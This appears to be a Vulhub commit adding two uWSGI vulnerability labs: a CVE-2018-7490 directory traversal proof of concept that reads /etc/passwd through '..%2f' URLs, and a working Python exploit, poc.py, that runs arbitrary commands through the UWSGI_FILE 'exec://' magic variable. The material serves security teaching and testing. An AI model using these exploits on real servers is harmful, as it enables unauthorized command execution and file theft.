first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
BIN
uwsgi/CVE-2018-7490/1.png
Normal file
BIN
uwsgi/CVE-2018-7490/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 18 KiB |
24
uwsgi/CVE-2018-7490/README.md
Normal file
24
uwsgi/CVE-2018-7490/README.md
Normal file
@@ -0,0 +1,24 @@
|
||||
|
||||
# uWSGI PHP Directory Traversal Vulnerability (CVE-2018-7490)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
uWSGI is a web application server, which implements protocols such as WSGI/uwsgi/http, and supports for various languages through plugins.
|
||||
|
||||
The PHP plugin of uWSGI before 2.0.17 doesn't handle the detection of `DOCUMENT_ROOT` correctly, resulting in reading or running files outside the `DOCUMENT_ROOT` through the use of `..%2f`.
|
||||
|
||||
## Environment Setup
|
||||
|
||||
Enter the following command:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
Visit `http://your-ip:8080` and you'll see the phpinfo page as the uwsgi-php server running successfully.
|
||||
|
||||
## POC
|
||||
|
||||
Directly visit `http://your-ip:8080/..%2f..%2f..%2f..%2f..%2fetc/passwd`, you will get the passwd file:
|
||||
|
||||

|
21
uwsgi/CVE-2018-7490/README.zh-cn.md
Normal file
21
uwsgi/CVE-2018-7490/README.zh-cn.md
Normal file
@@ -0,0 +1,21 @@
|
||||
# uWSGI PHP目录穿越漏洞(CVE-2018-7490)
|
||||
|
||||
uWSGI是一款Web应用程序服务器,它实现了WSGI、uwsgi和http等协议,并支持通过插件来运行各种语言。
|
||||
|
||||
uWSGI 2.0.17之前的PHP插件,没有正确的处理`DOCUMENT_ROOT`检测,导致用户可以通过`..%2f`来跨越目录,读取或运行`DOCUMENT_ROOT`目录以外的文件。
|
||||
|
||||
## 漏洞环境
|
||||
|
||||
运行存在漏洞的uWSGI服务器:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
运行完成后,访问`http://your-ip:8080/`即可看到phpinfo信息,说明uwsgi-php服务器已成功运行。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
访问`http://your-ip:8080/..%2f..%2f..%2f..%2f..%2fetc/passwd`,成功读取文件:
|
||||
|
||||

|
6
uwsgi/CVE-2018-7490/docker-compose.yml
Normal file
6
uwsgi/CVE-2018-7490/docker-compose.yml
Normal file
@@ -0,0 +1,6 @@
|
||||
version: '2'
|
||||
services:
|
||||
web:
|
||||
image: vulhub/uwsgi-php:2.0.16
|
||||
ports:
|
||||
- "8080:8080"
|
BIN
uwsgi/unacc/1.png
Normal file
BIN
uwsgi/unacc/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 5.7 KiB |
BIN
uwsgi/unacc/2.png
Normal file
BIN
uwsgi/unacc/2.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 4.2 KiB |
33
uwsgi/unacc/README.md
Normal file
33
uwsgi/unacc/README.md
Normal file
@@ -0,0 +1,33 @@
|
||||
# uWSGI Unauthorized Access Vulnerability
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
uWSGI is a web application server, which implements protocols such as WSGI/uwsgi/http, and supports for various languages through plugins. More than an application name, uwsgi is also an exchange standard between the front-end server and the back-end application container, just like Fastcgi.
|
||||
|
||||
uWSGI allows configuring back-end web application dynamically through Magic Variables. If the port is exposed, attackers can construct uwsgi packets and specify the magic variable `UWSGI_FILE`, so as to execute arbitrary commands by applying `exec://` protocol.
|
||||
|
||||
Reference links:
|
||||
|
||||
- https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi-rce-zh.md
|
||||
- https://xz.aliyun.com/t/3512
|
||||
- https://uwsgi-docs.readthedocs.io/en/latest/Vars.html
|
||||
|
||||
## Environment Setup
|
||||
|
||||
Enter the following command:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
`http://your-ip:8080` is a web application and its uwsgi is exposed to 8000 port.
|
||||
|
||||
## POC
|
||||
|
||||
Using [poc.py](poc.py),you can run the command `python poc.py -u your-ip:8000 -c "touch /tmp/success"`:
|
||||
|
||||

|
||||
|
||||
Entering the container through `docker compose exec web bash` ,you'll see `/tmp/success` creating successfully:
|
||||
|
||||

|
31
uwsgi/unacc/README.zh-cn.md
Normal file
31
uwsgi/unacc/README.zh-cn.md
Normal file
@@ -0,0 +1,31 @@
|
||||
# uWSGI 未授权访问漏洞
|
||||
|
||||
uWSGI是一款Web应用程序服务器,它实现了WSGI、uwsgi和http等协议,并支持通过插件来运行各种语言,通常被用于运行Python WEB应用。uwsgi除了是应用容器的名称之外,它和Fastcgi之类的一样,也是前端server与后端应用容器之间的一个交流标准。目前nginx,apache也支持uwsgi协议进行代理转发请求。
|
||||
|
||||
uWSGI支持通过魔术变量(Magic Variables)的方式动态配置后端Web应用。如果其端口暴露在外,攻击者可以构造uwsgi数据包,并指定魔术变量`UWSGI_FILE`,运用`exec://`协议执行任意命令。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi-rce-zh.md
|
||||
- https://xz.aliyun.com/t/3512
|
||||
- https://uwsgi-docs.readthedocs.io/en/latest/Vars.html
|
||||
|
||||
## 漏洞环境
|
||||
|
||||
执行如下命令启动nginx+uwsgi环境:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
环境启动后,访问`http://your-ip:8080`即可查看一个Web应用,其uwsgi暴露在8000端口。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
使用[poc.py](poc.py),执行命令`python poc.py -u your-ip:8000 -c "touch /tmp/success"`:
|
||||
|
||||

|
||||
|
||||
执行`docker compose exec web bash`进入容器,可见`/tmp/success`已经成功执行:
|
||||
|
||||

|
17
uwsgi/unacc/docker-compose.yml
Normal file
17
uwsgi/unacc/docker-compose.yml
Normal file
@@ -0,0 +1,17 @@
|
||||
version: '2'
|
||||
services:
|
||||
nginx:
|
||||
image: nginx:1-alpine
|
||||
volumes:
|
||||
- ./files/default.conf:/etc/nginx/conf.d/default.conf
|
||||
depends_on:
|
||||
- web
|
||||
ports:
|
||||
- "8080:80"
|
||||
web:
|
||||
image: vulhub/uwsgi-python:2.0.17
|
||||
command: uwsgi --socket 0.0.0.0:8000 --chdir /usr/src --module server --uid www-data --gid www-data -p 2
|
||||
volumes:
|
||||
- ./files/server.py:/usr/src/server.py
|
||||
ports:
|
||||
- "8000:8000"
|
22
uwsgi/unacc/files/default.conf
Normal file
22
uwsgi/unacc/files/default.conf
Normal file
@@ -0,0 +1,22 @@
|
||||
upstream django {
|
||||
# server unix:///path/to/your/mysite/mysite.sock; # for a file socket
|
||||
server web:8000; # for a web port socket (we'll use this first)
|
||||
}
|
||||
|
||||
# configuration of the server
|
||||
server {
|
||||
# the port your site will be served on
|
||||
listen 80;
|
||||
# the domain name it will serve for
|
||||
server_name localhost; # substitute your machine's IP address or FQDN
|
||||
charset utf-8;
|
||||
|
||||
# max upload size
|
||||
client_max_body_size 2M; # adjust to taste
|
||||
|
||||
# Finally, send all non-media requests to the Django server.
|
||||
location / {
|
||||
uwsgi_pass django;
|
||||
include /etc/nginx/uwsgi_params; # the uwsgi_params file you installed
|
||||
}
|
||||
}
|
4
uwsgi/unacc/files/server.py
Normal file
4
uwsgi/unacc/files/server.py
Normal file
@@ -0,0 +1,4 @@
|
||||
from wsgiref.simple_server import demo_app
|
||||
|
||||
|
||||
application = demo_app
|
145
uwsgi/unacc/poc.py
Normal file
145
uwsgi/unacc/poc.py
Normal file
@@ -0,0 +1,145 @@
|
||||
#!/usr/bin/python
|
||||
# coding: utf-8
|
||||
######################
|
||||
# Uwsgi RCE Exploit
|
||||
######################
|
||||
# Author: wofeiwo@80sec.com
|
||||
# Created: 2017-7-18
|
||||
# Last modified: 2018-1-30
|
||||
# Note: Just for research purpose
|
||||
|
||||
import sys
|
||||
import socket
|
||||
import argparse
|
||||
import requests
|
||||
|
||||
def sz(x):
|
||||
s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
|
||||
s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')
|
||||
return s[::-1]
|
||||
|
||||
|
||||
def pack_uwsgi_vars(var):
|
||||
pk = b''
|
||||
for k, v in var.items() if hasattr(var, 'items') else var:
|
||||
pk += sz(k) + k.encode('utf8') + sz(v) + v.encode('utf8')
|
||||
result = b'\x00' + sz(pk) + b'\x00' + pk
|
||||
return result
|
||||
|
||||
|
||||
def parse_addr(addr, default_port=None):
|
||||
port = default_port
|
||||
if isinstance(addr, str):
|
||||
if addr.isdigit():
|
||||
addr, port = '', addr
|
||||
elif ':' in addr:
|
||||
addr, _, port = addr.partition(':')
|
||||
elif isinstance(addr, (list, tuple, set)):
|
||||
addr, port = addr
|
||||
port = int(port) if port else port
|
||||
return (addr or '127.0.0.1', port)
|
||||
|
||||
|
||||
def get_host_from_url(url):
|
||||
if '//' in url:
|
||||
url = url.split('//', 1)[1]
|
||||
host, _, url = url.partition('/')
|
||||
return (host, '/' + url)
|
||||
|
||||
|
||||
def fetch_data(uri, payload=None, body=None):
|
||||
if 'http' not in uri:
|
||||
uri = 'http://' + uri
|
||||
s = requests.Session()
|
||||
# s.headers['UWSGI_FILE'] = payload
|
||||
if body:
|
||||
import urlparse
|
||||
body_d = dict(urlparse.parse_qsl(urlparse.urlsplit(body).path))
|
||||
d = s.post(uri, data=body_d)
|
||||
else:
|
||||
d = s.get(uri)
|
||||
|
||||
return {
|
||||
'code': d.status_code,
|
||||
'text': d.text,
|
||||
'header': d.headers
|
||||
}
|
||||
|
||||
|
||||
def ask_uwsgi(addr_and_port, mode, var, body=''):
|
||||
if mode == 'tcp':
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect(parse_addr(addr_and_port))
|
||||
elif mode == 'unix':
|
||||
s = socket.socket(socket.AF_UNIX)
|
||||
s.connect(addr_and_port)
|
||||
s.send(pack_uwsgi_vars(var) + body.encode('utf8'))
|
||||
response = []
|
||||
# Actually we dont need the response, it will block if we run any commands.
|
||||
# So I comment all the receiving stuff.
|
||||
# while 1:
|
||||
# data = s.recv(4096)
|
||||
# if not data:
|
||||
# break
|
||||
# response.append(data)
|
||||
s.close()
|
||||
return b''.join(response).decode('utf8')
|
||||
|
||||
|
||||
def curl(mode, addr_and_port, payload, target_url):
|
||||
host, uri = get_host_from_url(target_url)
|
||||
path, _, qs = uri.partition('?')
|
||||
if mode == 'http':
|
||||
return fetch_data(addr_and_port+uri, payload)
|
||||
elif mode == 'tcp':
|
||||
host = host or parse_addr(addr_and_port)[0]
|
||||
else:
|
||||
host = addr_and_port
|
||||
var = {
|
||||
'SERVER_PROTOCOL': 'HTTP/1.1',
|
||||
'REQUEST_METHOD': 'GET',
|
||||
'PATH_INFO': path,
|
||||
'REQUEST_URI': uri,
|
||||
'QUERY_STRING': qs,
|
||||
'SERVER_NAME': host,
|
||||
'HTTP_HOST': host,
|
||||
'UWSGI_FILE': payload,
|
||||
'SCRIPT_NAME': target_url
|
||||
}
|
||||
return ask_uwsgi(addr_and_port, mode, var)
|
||||
|
||||
|
||||
def main(*args):
|
||||
desc = """
|
||||
This is a uwsgi client & RCE exploit.
|
||||
Last modifid at 2018-01-30 by wofeiwo@80sec.com
|
||||
"""
|
||||
elog = "Example:uwsgi_exp.py -u 1.2.3.4:5000 -c \"echo 111>/tmp/abc\""
|
||||
|
||||
parser = argparse.ArgumentParser(description=desc, epilog=elog)
|
||||
|
||||
parser.add_argument('-m', '--mode', nargs='?', default='tcp',
|
||||
help='Uwsgi mode: 1. http 2. tcp 3. unix. The default is tcp.',
|
||||
dest='mode', choices=['http', 'tcp', 'unix'])
|
||||
|
||||
parser.add_argument('-u', '--uwsgi', nargs='?', required=True,
|
||||
help='Uwsgi server: 1.2.3.4:5000 or /tmp/uwsgi.sock',
|
||||
dest='uwsgi_addr')
|
||||
|
||||
parser.add_argument('-c', '--command', nargs='?', required=True,
|
||||
help='Command: The exploit command you want to execute, must have this.',
|
||||
dest='command')
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
parser.print_help()
|
||||
return
|
||||
args = parser.parse_args()
|
||||
if args.mode.lower() == "http":
|
||||
print("[-]Currently only tcp/unix method is supported in RCE exploit.")
|
||||
return
|
||||
payload = 'exec://' + args.command + "; echo test" # must have someting in output or the uWSGI crashs.
|
||||
print("[*]Sending payload.")
|
||||
print(curl(args.mode.lower(), args.uwsgi_addr, payload, '/testapp'))
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
Reference in New Issue
Block a user